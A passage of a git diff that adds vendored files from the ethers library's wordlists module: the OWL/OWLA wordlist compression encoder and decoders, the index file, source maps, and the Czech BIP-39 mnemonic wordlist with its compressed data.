!#$%&'()*+,-./<=>?@[]^_`{|}~"; +const Word = /^[a-z]*$/i; +function unfold(words, sep) { + let initial = 97; + return words.reduce((accum, word) => { + if (word === sep) { + initial++; + } + else if (word.match(Word)) { + accum.push(String.fromCharCode(initial) + word); + } + else { + initial = 97; + accum.push(word); + } + return accum; + }, []); +} +/** + * @_ignore + */ +function decode(data, subs) { + // Replace all the substitutions with their expanded form + for (let i = subsChrs.length - 1; i >= 0; i--) { + data = data.split(subsChrs[i]).join(subs.substring(2 * i, 2 * i + 2)); + } + // Get all tle clumps; each suffix, first-increment and second-increment + const clumps = []; + const leftover = data.replace(/(:|([0-9])|([A-Z][a-z]*))/g, (all, item, semi, word) => { + if (semi) { + for (let i = parseInt(semi); i >= 0; i--) { + clumps.push(";"); + } + } + else { + clumps.push(item.toLowerCase()); + } + return ""; + }); + /* c8 ignore start */ + if (leftover) { + throw new Error(`leftovers: ${JSON.stringify(leftover)}`); + } + /* c8 ignore stop */ + return unfold(unfold(clumps, ";"), ":"); +} +exports.decode = decode; +/** + * @_ignore + */ +function decodeOwl(data) { + (0, index_js_1.assertArgument)(data[0] === "0", "unsupported auwl data", "data", data); + return decode(data.substring(1 + 2 * subsChrs.length), data.substring(1, 1 + 2 * subsChrs.length)); +} +exports.decodeOwl = decodeOwl; +//# sourceMappingURL=decode-owl.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owl.js.map b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.js.map new file mode 100644 index 000000000000..f1373a00f0f7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owl.js.map @@ -0,0 +1 @@ +{"version":3,"file":"decode-owl.js","sourceRoot":"","sources":["../../src.ts/wordlists/decode-owl.ts"],"names":[],"mappings":";;;AAAA,gDAAmD;AAGnD,MAAM,QAAQ,GAAG,+BAA+B,CAAC;AACjD,MAAM,IAAI,GAAG,WAAW,CAAC;AAEzB,SAAS,MAAM,CAAC,KAAoB,EAAE,GAAW;IAC7C,IAAI,OAAO,GAAG,EAAE,CAAC;IACjB,OAAO,KAAK,CAAC,MAAM,CAAC,CAAC,KAAK,EAAE,IAAI,EAA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AAC,CAAC;IACH,qBAAqB;IACrB,IAAI,QAAQ,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,cAAe,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAE,EAAE,CAAC,CAAC;KAAE;IAC9E,oBAAoB;IAEpB,OAAO,MAAM,CAAC,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,EAAE,GAAG,CAAC,CAAC;AAC5C,CAAC;AAtBD,wBAsBC;AAED;;GAEG;AACH,SAAgB,SAAS,CAAC,IAAY;IAClC,IAAA,yBAAc,EAAC,IAAI,CAAC,CAAC,CAAC,KAAK,GAAG,EAAE,uBAAuB,EAAE,MAAM,EAAE,IAAI,CAAC,CAAC;IAEvE,OAAO,MAAM,CACT,IAAI,CAAC,SAAS,CAAC,CAAC,GAAG,CAAC,GAAG,QAAQ,CAAC,MAAM,CAAC,EACvC,IAAI,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,GAAG,CAAC,GAAG,QAAQ,CAAC,MAAM,CAAC,CAAC,CAAC;AACpD,CAAC;AAND,8BAMC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owla.d.ts b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.d.ts new file mode 100644 index 000000000000..479e6c54a252 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.d.ts @@ -0,0 +1,5 @@ +/** + * @_ignore + */ +export declare function decodeOwlA(data: string, accents: string): Array; +//# sourceMappingURL=decode-owla.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owla.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.d.ts.map new file mode 100644 index 000000000000..bb3d569651f7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"decode-owla.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/decode-owla.ts"],"names":[],"mappings":"AAKA;;GAEG;AACH,wBAAgB,UAAU,CAAC,IAAI,EAAE,MAAM,EAAE,OAAO,EAAE,MAAM,GAAG,KAAK,CAAC,MAAM,CAAC,CAwBvE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owla.js b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.js new file mode 100644 index 000000000000..59dab2985f9c --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.js @@ -0,0 +1,32 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.decodeOwlA = void 0; +const index_js_1 = require("../utils/index.js"); +const bit_reader_js_1 = require("./bit-reader.js"); +const decode_owl_js_1 = require("./decode-owl.js"); +/** + * @_ignore + */ +function decodeOwlA(data, accents) { + let words = (0, decode_owl_js_1.decodeOwl)(data).join(","); + // Inject the accents + accents.split(/,/g).forEach((accent) => { + const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/); + (0, index_js_1.assertArgument)(match !== null, "internal error parsing accents", "accents", accents); + let posOffset = 0; + const positions = (0, bit_reader_js_1.decodeBits)(parseInt(match[3]), match[4]); + const charCode = parseInt(match[2]); + const regex = new RegExp(`([${match[1]}])`, "g"); + words = words.replace(regex, (all, letter) => { + const rem = --positions[posOffset]; + if (rem === 0) { + letter = String.fromCharCode(letter.charCodeAt(0), charCode); + posOffset++; + } + return letter; + }); + }); + return words.split(","); +} +exports.decodeOwlA = decodeOwlA; +//# sourceMappingURL=decode-owla.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/decode-owla.js.map b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.js.map new file mode 100644 index 000000000000..1eedcf60db03 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/decode-owla.js.map @@ -0,0 +1 @@ +{"version":3,"file":"decode-owla.js","sourceRoot":"","sources":["../../src.ts/wordlists/decode-owla.ts"],"names":[],"mappings":";;;AAAA,gDAAmD;AAEnD,mDAA6C;AAC7C,mDAA4C;A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No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.d.ts b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.d.ts new file mode 100644 index 000000000000..a646e8246540 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.d.ts @@ -0,0 +1,25 @@ +export declare class BitWriter { + #private; + readonly width: number; + constructor(width: number); + write(value: number): void; + get length(): number; + get data(): string; +} +export interface AccentSet { + accent: number; + follows: string; + positions: Array; + positionsLength: number; + positionData: string; + positionDataLength: number; +} +export declare function extractAccents(words: Array): { + accents: Array; + words: Array; +}; +export declare function encodeOwl(words: Array): { + subs: string; + data: string; +}; +//# sourceMappingURL=encode-latin.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.d.ts.map new file mode 100644 index 000000000000..3aef41354ac5 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"encode-latin.d.ts","sourceRoot":"","sources":["../../../src.ts/wordlists/generation/encode-latin.ts"],"names":[],"mappings":"AAuIA,qBAAa,SAAS;;IAClB,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC;gBAKX,KAAK,EAAE,MAAM;IAMzB,KAAK,CAAC,KAAK,EAAE,MAAM,GAAG,IAAI;IAW1B,IAAI,MAAM,IAAI,MAAM,CAEnB;IAED,IAAI,IAAI,IAAI,MAAM,CA4BjB;CACJ;AAED,MAAM,WAAW,SAAS;IACtB,MAAM,EAAE,MAAM,CAAC;IACf,OAAO,EAAE,MAAM,CAAC;IAChB,SAAS,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC;IACzB,eAAe,EAAE,MAAM,CAAC;IACxB,YAAY,EAAE,MAAM,CAAC;IACrB,kBAAkB,EAAE,MAAM,CAAC;CAC9B;AAWD,wBAAgB,cAAc,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG;IAAE,OAAO,EAAE,KAAK,CAAC,SAAS,CAAC,CAAC;IAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,CAAA;CAAE,CAyExG;AAGD,wBAAgB,SAAS,CAAC,KAAK,EAAE,KAAK,CAAC,MAAM,CAAC,GAAG;IAAE,IAAI,EAAE,MAAM,CAAC;IAAC,IAAI,EAAE,MAAM,CAAA;CAAE,CA4C9E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.js b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.js new file mode 100644 index 000000000000..273243f6ad96 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.js @@ -0,0 +1,351 @@ +"use strict"; +// OWL Data Format +// +// The Official WordList data format exported by this encoder +// encodes sorted latin-1 words (letters only) based on the +// fact that sorted words have prefixes with substantial +// overlap. +// +// For example, the words: +// [ Another, Apple, Apricot, Bread ] +// could be folded once with a single special character, such +// as ":" to yield: +// [ nother, pple, pricot, :, read ]. +// The First letter has been removed, but can be inferred by +// starting at A and incrementing to the next letter when ":" +// is encountered. +// +// The fold operation can be repeated for large sets as even within +// each folded set, there is substatial overlap in prefix. With the +// second special symbol ";", we get: +// [ ; x 13, other, :, ple, ricot, :, ; x 18, ead ] +// which can be further compressed by using numbers instead of the +// special character: +// [ 13, other, :, ple, ricot, :, 18, ead ] +// and to keep all values within a single byte, we only allow a +// maximum value of 10 (using 0 through 9 to represent 1 through 10), +// we get: +// [ 9, 2, other, :, ple, ricot, :, 9, 7, ead ] +// and we use camel-case to imply the bounrary, giving the final string: +// "92Other:PleRicot:97Ead" +// +// Once the entire latin-1 set has been collapsed, we use the remaining +// printable characters (except " and \, which require 2 bytes to represent +// in string) to substiture for the most common 2-letter pairs of letters +// in the string. +// +// OWLA Accent Format +// +// OWLA first removes all accents, and encodes that data using the OWL +// data format and encodes the accents as a base-64 series of 6-bit +// packed bits representing the distance from one followed letter to the +// next. +// +// For example, the acute accent in a given language may follow either +// a or e, in which case the follow-set is "ae". Each letter in the entire +// set is indexed, so the set of words with the accents: +// "thisA/ppleDoe/sNotMa/tterToMe/" +// " 1^ 2^ 3^ 4^ 5^ 6^ " <-- follow-set members, ALL a's and e's +// which gives the positions: +// [ 0, 2, 3, 4, 6 ] +// which then reduce to the distances +// [ 0, 2, 1, 1, 2 ] +// each of which fit into a 2-bit value, so this can be encoded as the +// base-64 encoded string: +// 00 10 01 01 10 = 001001 1010xx +// +// The base-64 set used has all number replaced with their +// shifted-counterparts to prevent comflicting with the numbers used in +// the fold operation to indicate the number of ";". +Object.defineProperty(exports, "__esModule", { value: true }); +exports.encodeOwl = exports.extractAccents = exports.BitWriter = void 0; +const tslib_1 = require("tslib"); +const fs_1 = tslib_1.__importDefault(require("fs")); +const id_js_1 = require("../../hash/id.js"); +const decode_owl_js_1 = require("../decode-owl.js"); +const decode_owla_js_1 = require("../decode-owla.js"); +const subsChrs = " !#$%&'()*+,-./<=>?@[]^_`{|}~"; +const Word = /^[a-z'`]*$/i; +function fold(words, sep) { + const output = []; + let initial = 97; + for (const word of words) { + if (word.match(Word)) { + while (initial < word.charCodeAt(0)) { + initial++; + output.push(sep); + } + output.push(word.substring(1)); + } + else { + initial = 97; + output.push(word); + } + } + return output; +} +function camelcase(words) { + return words.map((word) => { + if (word.match(Word)) { + return word[0].toUpperCase() + word.substring(1); + } + else { + return word; + } + }).join(""); +} +//let cc = 0, ce = 0; +/* +function getChar(c: string): string { + //if (c === "e") { ce++; } + if (c >= 'a' && c <= 'z') { return c; } + if (c.charCodeAt(1)) { + throw new Error(`bad char: "${ c }"`); + } + //cc++; + return ""; + if (c.charCodeAt(0) === 768) { return "`"; } + if (c.charCodeAt(0) === 769) { return "'"; } + if (c.charCodeAt(0) === 771) { return "~"; } + throw new Error(`Unsupported character: ${ c } (${ c.charCodeAt(0) }, ${ c.charCodeAt(1) })`); +} +function mangle(text: string): { word: string, special: string } { + const result: Array = [ ]; + for (let i = 0; i < text.length; i++) { + const c = getChar(text[i]); + result.push(c); + } + + const word = result.join(""); + if (word[1] >= 'a' && word[1] <= 'z') { return { word, special: " " }; } + return { word: word[0] + word.substring(2), special: word[1] }; +} +*/ +/* + Store: [ accent ][ targets ][ rle data; base64-tail ] + ` ae 3, 100 = (63, 37), 15 + ~ n 63, 64 = (63, 1), 27 +*/ +const Base64 = ")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_"; +class BitWriter { + width; + #data; + #bitLength; + constructor(width) { + this.width = width; + this.#data = []; + this.#bitLength = 0; + } + write(value) { + const maxValue = ((1 << this.width) - 1); + while (value > maxValue) { + this.#data.push(0); + this.#bitLength += this.width; + value -= maxValue; + } + this.#data.push(value); + this.#bitLength += this.width; + } + get length() { + return 1 + Math.trunc((this.#bitLength + 5) / 6); + } + get data() { + let result = String(this.width); + let bits = 0; + let accum = 0; + const data = this.#data.slice(); + let bitMod = this.#bitLength % 6; + while (bitMod !== 0 && bitMod < 6) { + data.push(0); + bitMod += this.width; + } + for (const value of data) { + accum <<= this.width; + accum |= value; + bits += this.width; + if (bits < 6) { + continue; + } + result += Base64[accum >> (bits - 6)]; + bits -= 6; + accum &= ((1 << bits) - 1); + } + if (result.length !== this.length) { + throw new Error(`Hmm: ${this.length} ${result.length} ${result}`); + } + return result; + } +} +exports.BitWriter = BitWriter; +; +function sorted(text) { + const letters = text.split(""); + letters.sort(); + return letters.join(""); +} +// if (c.charCodeAt(0) === 768) { return "`"; } +// if (c.charCodeAt(0) === 769) { return "'"; } +// if (c.charCodeAt(0) === 771) { return "~"; } +function extractAccents(words) { + // Build a list that maps accents to the letters it can follow + const followsMap = new Map(); + for (const word of words) { + for (let i = 0; i < word.length; i++) { + const c = word[i]; + if (c >= 'a' && c <= 'z') { + continue; + } + // Make sure this positions and codepoint make sense + if (c.charCodeAt(1)) { + throw new Error(`unsupported codepoint: "${c}"`); + } + if (i === 0) { + throw new Error(`unmatched accent: ${c}`); + } + const ac = c.charCodeAt(0), lastLetter = word[i - 1]; + ; + const follows = (followsMap.get(ac) || ""); + if (follows.indexOf(lastLetter) === -1) { + followsMap.set(ac, sorted(follows + lastLetter)); + } + } + } + // Build the positions of each follow-set for those accents + const positionsMap = new Map(); + for (const [accent, follows] of followsMap) { + let count = 0; + for (const word of words) { + for (let i = 0; i < word.length; i++) { + const c = word[i], ac = c.charCodeAt(0); + if (follows.indexOf(c) >= 0) { + count++; + } + if (ac === accent) { + const pos = positionsMap.get(ac) || []; + pos.push(count); + positionsMap.set(ac, pos); + } + } + } + } + const accents = []; + for (const [accent, follows] of followsMap) { + let last = -1; + const positions = (positionsMap.get(accent) || []).map((value, index) => { + const delta = value - last; + last = value; + if (index === 0) { + return value; + } + return delta; + }); + // Find the best encoding of the position data + let positionData = ""; + for (let i = 2; i < 7; i++) { + const bitWriter = new BitWriter(i); + for (const p of positions) { + bitWriter.write(p); + } + if (positionData === "" || bitWriter.length < positionData.length) { + positionData = bitWriter.data; + } + } + const positionsLength = positions.length; + const positionDataLength = positionData.length; + accents.push({ accent, follows, positions, positionsLength, positionData, positionDataLength }); + } + words = words.map((word) => { + let result = ""; + for (let i = 0; i < word.length; i++) { + const c = word[i]; + if (c >= 'a' && c <= 'z') { + result += c; + } + } + return result; + }); + return { accents, words }; +} +exports.extractAccents = extractAccents; +// Encode Official WordList +function encodeOwl(words) { + // Fold the sorted words by indicating delta for the first 2 letters + let data = camelcase(fold(fold(words, ":"), ";")); + // Replace semicolons with counts (e.g. ";;;" with "3") + data = data.replace(/(;+)/g, (all, semis) => { + let result = ""; + while (semis.length) { + let count = semis.length; + if (count > 10) { + count = 10; + } + result += String(count - 1); + semis = semis.substring(count); + } + return result; + }); + // Finds the best option for a shortcut replacement using the + // unused ascii7 characters + function findBest() { + const tally = {}; + const l = 2; + for (let i = l; i < data.length; i++) { + const key = data.substring(i - l, i); + tally[key] = (tally[key] || 0) + 1; + } + const sorted = Object.keys(tally).map((text) => { + return { text, count: tally[text], save: (tally[text] * (text.length - 1)) }; + }); + sorted.sort((a, b) => (b.save - a.save)); + return sorted[0].text; + } + // Make substitutions + let subs = ""; + for (let i = 0; i < subsChrs.length; i++) { + const n = subsChrs[i], o = findBest(); + subs += o; + data = data.split(o).join(n); + } + return { data, subs }; +} +exports.encodeOwl = encodeOwl; +// Returns either: +// - OWL data for accent-free latin-1: { data, accentds: "" } +// - OWLA data for accented latin-1: { data, accents } +function encodeWords(_words) { + const { accents, words } = extractAccents(_words); + const { data, subs } = encodeOwl(words); + const accentData = accents.map(({ accent, follows, positionData }) => { + return `${follows}${accent}${positionData}`; + }).join(","); + return { + data: `0${subs}${data}`, + accents: accentData + }; +} +// CLI +const content = fs_1.default.readFileSync(process.argv[2]).toString(); +const words = content.split("\n").filter(Boolean); +const { data, accents } = encodeWords(words); +if (accents) { + const rec = (0, decode_owla_js_1.decodeOwlA)(data, accents); + console.log("DATA: ", JSON.stringify(data)); + console.log("ACCENTS: ", JSON.stringify(accents)); + console.log("LENGTH: ", data.length); + console.log("CHECKSUM: ", (0, id_js_1.id)(content)); + console.log("RATIO: ", Math.trunc(100 * data.length / content.length) + "%"); + if (rec.join("\n") !== words.join("\n")) { + throw new Error("no match!"); + } +} +else { + const rec = (0, decode_owl_js_1.decodeOwl)(data); + console.log("DATA: ", JSON.stringify(data)); + console.log("LENGTH: ", data.length); + console.log("CHECKSUM: ", (0, id_js_1.id)(content)); + console.log("RATIO: ", Math.trunc(100 * data.length / content.length) + "%"); + if (rec.join("\n") !== words.join("\n")) { + throw new Error("no match!"); + } +} +//# sourceMappingURL=encode-latin.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.js.map b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.js.map new file mode 100644 index 000000000000..b693a400167d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/generation/encode-latin.js.map @@ -0,0 +1 @@ +{"version":3,"file":"encode-latin.js","sourceRoot":"","sources":["../../../src.ts/wordlists/generation/encode-latin.ts"],"names":[],"mappings":";AACA,kBAAkB;AAClB,EAAE;AACF,6DAA6D;AAC7D,2DAA2D;AAC3D,wDAAwD;AACxD,WAAW;AACX,EAAE;AACF,0BAA0B;AAC1B,uCAAuC;AACvC,6DAA6D;AAC7D,mBAAmB;AACnB,uCAAuC;AACvC,4DAA4D;AAC5D,6DAA6D;AAC7D,kBAAkB;AAClB,EAAE;AACF,mEAAmE;AACnE,mEAAmE;AACnE,qCAAqC;AACrC,qDAAqD;AACrD,kEAAkE;AAClE,qBAAqB;AACrB,6CAA6C;AAC7C,+DAA+D;AAC/D,qEAAqE;AACrE,UAAU;AACV,iDAAiD;AACjD,wEAAwE;AACxE,6BAA6B;AAC7B,EAAE;AACF,uEAAuE;AACvE,2EAA2E;AAC3E,yEAAyE;AACzE,iBAAiB;AACjB,EAAE;AACF,qBAAqB;AACrB,EAAE;AACF,sEAAsE;AACtE,mEAAmE;AACnE,wEAAwE;AACxE,QAAQ;AACR,EAAE;AACF,sEAAsE;AACtE,0EAA0E;AAC1E,wDAAwD;AACxD,qCAAqC;AACrC,6EAA6E;AAC7E,6BAA6B;AAC7B,sBAAsB;AACtB,qCAAqC;AACrC,sBAAsB;AACtB,sEAAsE;AACtE,0BAA0B;AAC1B,qCAAqC;AACrC,EAAE;AACF,0DAA0D;AAC1D,uEAAuE;AACvE,oDAAoD;;;;AAEpD,oDAAoB;AAEpB,4CAAsC;AAEtC,oDAA6C;AAC7C,sDAA+C;AAE/C,MAAM,QAAQ,GAAG,+BAA+B,CAAC;AAEjD,MAAM,IAAI,GAAG,aAAa,CAAC;AAE3B,SAAS,IAAI,CAAC,KAAoB,EAAE,GAAW;IAC3C,MAAM,MAAM,GAAkB,EAAG,CAAC;IAElC,IAAI,OAAO,GAAG,EAAE,CAAC;IACjB,KAAK,MAAM,IAAI,IAAI,KAAK,EAAE;QACtB,IAAI,IAAI,CAAC,KAAK,CAAC,IAAI,CAA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,IAAI,CAAC,IAAI,CAAC,KAAK,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,WAAW,CAAC,CAAC;KAAE;CAC7E;KAAM;IACH,MAAM,GAAG,GAAG,IAAA,yBAAS,EAAC,IAAI,CAAC,CAAC;IAC5B,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,IAAI,CAAC,SAAS,CAAC,IAAI,CAAC,CAAC,CAAC;IAChD,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,IAAI,CAAC,MAAM,CAAC,CAAC;IACvC,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,IAAA,UAAE,EAAC,OAAO,CAAC,CAAC,CAAC;IACvC,OAAO,CAAC,GAAG,CAAC,YAAY,EAAE,IAAI,CAAC,KAAK,CAAC,GAAG,GAAG,IAAI,CAAC,MAAM,GAAG,OAAO,CAAC,MAAM,CAAC,GAAG,GAAG,CAAC,CAAC;IAChF,IAAI,GAAG,CAAC,IAAI,CAAC,IAAI,CAAC,KAAK,KAAK,CAAC,IAAI,CAAC,IAAI,CAAC,EAAE;QAAE,MAAM,IAAI,KAAK,CAAC,WAAW,CAAC,CAAC;KAAE;CAC7E"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/index.d.ts b/node_modules/ethers/lib.commonjs/wordlists/index.d.ts new file mode 100644 index 000000000000..04a911c838a2 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/index.d.ts @@ -0,0 +1,25 @@ +/** + * A Wordlist is a set of 2048 words used to encode private keys + * (or other binary data) that is easier for humans to write down, + * transcribe and dictate. + * + * The [[link-bip-39]] standard includes several checksum bits, + * depending on the size of the mnemonic phrase. + * + * A mnemonic phrase may be 12, 15, 18, 21 or 24 words long. For + * most purposes 12 word mnemonics should be used, as including + * additional words increases the difficulty and potential for + * mistakes and does not offer any effective improvement on security. + * + * There are a variety of [[link-bip39-wordlists]] for different + * languages, but for maximal compatibility, the + * [English Wordlist](LangEn) is recommended. + * + * @_section: api/wordlists:Wordlists [about-wordlists] + */ +export { Wordlist } from "./wordlist.js"; +export { LangEn } from "./lang-en.js"; +export { WordlistOwl } from "./wordlist-owl.js"; +export { WordlistOwlA } from "./wordlist-owla.js"; +export { wordlists } from "./wordlists.js"; +//# sourceMappingURL=index.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/index.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/index.d.ts.map new file mode 100644 index 000000000000..ecd1d4b63d64 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/index.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/index.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;GAkBG;AACH,OAAO,EAAE,QAAQ,EAAE,MAAM,eAAe,CAAC;AACzC,OAAO,EAAE,MAAM,EAAE,MAAM,cAAc,CAAC;AAEtC,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAChD,OAAO,EAAE,YAAY,EAAE,MAAM,oBAAoB,CAAC;AAElD,OAAO,EAAE,SAAS,EAAE,MAAM,gBAAgB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/index.js b/node_modules/ethers/lib.commonjs/wordlists/index.js new file mode 100644 index 000000000000..26e29cf5f06b --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/index.js @@ -0,0 +1,33 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.wordlists = exports.WordlistOwlA = exports.WordlistOwl = exports.LangEn = exports.Wordlist = void 0; +/** + * A Wordlist is a set of 2048 words used to encode private keys + * (or other binary data) that is easier for humans to write down, + * transcribe and dictate. + * + * The [[link-bip-39]] standard includes several checksum bits, + * depending on the size of the mnemonic phrase. + * + * A mnemonic phrase may be 12, 15, 18, 21 or 24 words long. For + * most purposes 12 word mnemonics should be used, as including + * additional words increases the difficulty and potential for + * mistakes and does not offer any effective improvement on security. + * + * There are a variety of [[link-bip39-wordlists]] for different + * languages, but for maximal compatibility, the + * [English Wordlist](LangEn) is recommended. + * + * @_section: api/wordlists:Wordlists [about-wordlists] + */ +var wordlist_js_1 = require("./wordlist.js"); +Object.defineProperty(exports, "Wordlist", { enumerable: true, get: function () { return wordlist_js_1.Wordlist; } }); +var lang_en_js_1 = require("./lang-en.js"); +Object.defineProperty(exports, "LangEn", { enumerable: true, get: function () { return lang_en_js_1.LangEn; } }); +var wordlist_owl_js_1 = require("./wordlist-owl.js"); +Object.defineProperty(exports, "WordlistOwl", { enumerable: true, get: function () { return wordlist_owl_js_1.WordlistOwl; } }); +var wordlist_owla_js_1 = require("./wordlist-owla.js"); +Object.defineProperty(exports, "WordlistOwlA", { enumerable: true, get: function () { return wordlist_owla_js_1.WordlistOwlA; } }); +var wordlists_js_1 = require("./wordlists.js"); +Object.defineProperty(exports, "wordlists", { enumerable: true, get: function () { return wordlists_js_1.wordlists; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/index.js.map b/node_modules/ethers/lib.commonjs/wordlists/index.js.map new file mode 100644 index 000000000000..fe47560b2968 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/wordlists/index.ts"],"names":[],"mappings":";;;AAAA;;;;;;;;;;;;;;;;;;GAkBG;AACH,6CAAyC;AAAhC,uGAAA,QAAQ,OAAA;AACjB,2CAAsC;AAA7B,oGAAA,MAAM,OAAA;AAEf,qDAAgD;AAAvC,8GAAA,WAAW,OAAA;AACpB,uDAAkD;AAAzC,gHAAA,YAAY,OAAA;AAErB,+CAA2C;AAAlC,yGAAA,SAAS,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-cz.d.ts b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.d.ts new file mode 100644 index 000000000000..c199d4fad70d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.d.ts @@ -0,0 +1,23 @@ +import { WordlistOwl } from "./wordlist-owl.js"; +/** + * The [[link-bip39-cz]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +export declare class LangCz extends WordlistOwl { + /** + * Creates a new instance of the Czech language Wordlist. + * + * Using the constructor should be unnecessary, instead use the + * [[wordlist]] singleton method. + * + * @_ignore: + */ + constructor(); + /** + * Returns a singleton instance of a ``LangCz``, creating it + * if this is the first time being called. + */ + static wordlist(): LangCz; +} +//# sourceMappingURL=lang-cz.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-cz.d.ts.map b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.d.ts.map new file mode 100644 index 000000000000..975a36b5743e --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"lang-cz.d.ts","sourceRoot":"","sources":["../../src.ts/wordlists/lang-cz.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,WAAW,EAAE,MAAM,mBAAmB,CAAC;AAOhD;;;;GAIG;AACH,qBAAa,MAAO,SAAQ,WAAW;IAEnC;;;;;;;OAOG;;IAGH;;;OAGG;IACH,MAAM,CAAC,QAAQ,IAAI,MAAM;CAI5B"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-cz.js b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.js new file mode 100644 index 000000000000..405c4564bb79 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/wordlists/lang-cz.js @@ -0,0 +1,35 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.LangCz = void 0; +const wordlist_owl_js_1 = require("./wordlist-owl.js"); +const words = "0itatkastcenaovo$taouleraeki&chor*teci%enbalodaeladet'!Chn=0Di#%E%^1Resa2Rese3CeT'#0EjKoh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AtoEh#O[OmO$Ozvyk0Ap|ArAt-IjeIz{Ocn Odr!Rzl.Ut|0AkAl(Am@!Ovu0B,z Tav Ub-Ufa+0Lod Omal RavaR( Rud#Rvu1A^An C`]N (NoOv&Y/l Zav(1I/aR! 0B'.Br0Ed~EnkuEs_aOnR!Uk'odYk"; +const checksum = "0x25f44555f4af25b51a711136e1c7d6e50ce9f8917d39d6b1f076b2bb4d2fac1a"; +let wordlist = null; +/** + * The [[link-bip39-cz]] for [mnemonic phrases](link-bip-39). + * + * @_docloc: api/wordlists + */ +class LangCz extends wordlist_owl_js_1.WordlistOwl { + /** + * Creates a new instance of the Czech language Wordlist. + * + * Using the constructor should be unnecessary, instead use the + * [[wordlist]] singleton method. + * + * @_ignore: + */ + constructor() { super("cz", words, checksum); } + /** + * Returns a singleton instance of a ``LangCz``, creating it + * if this is the first time being called. + */ + static wordlist() { + if (wordlist == null) { + wordlist = new LangCz(); + } + return wordlist; + } +} +exports.LangCz = LangCz; +//# sourceMappingURL=lang-cz.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/wordlists/lang-cz.js.map 